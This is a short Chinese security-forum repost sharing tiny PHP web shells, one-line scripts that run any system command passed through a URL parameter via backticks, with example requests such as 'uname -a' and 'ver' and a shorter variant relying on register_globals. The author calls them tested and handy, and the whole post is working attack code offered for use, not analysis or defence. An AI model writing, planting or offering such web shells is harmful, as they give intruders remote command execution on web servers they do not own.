注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到邪恶八进制信息安全团队技术讨论组。I.S.T.O版权所有,转载需注明作者。
前几天看见有人在QQ群里发的,就测试了一下,感觉挺好用:
复制内容到剪贴板
代码:
cmdexec20101201.php?cx=uname -a
<pre><?$cx1=$_GET['cx'];echo `$cx1`;?><pre>
register_global=on,可以用下面的简化版:
<pre><?=`$cx`?></pre>
cmdexec20101201.php?cx2=ver
<pre><?=`$_GET[cx2]`?></pre>
转载于:https://blog.51cto.com/obnus/473362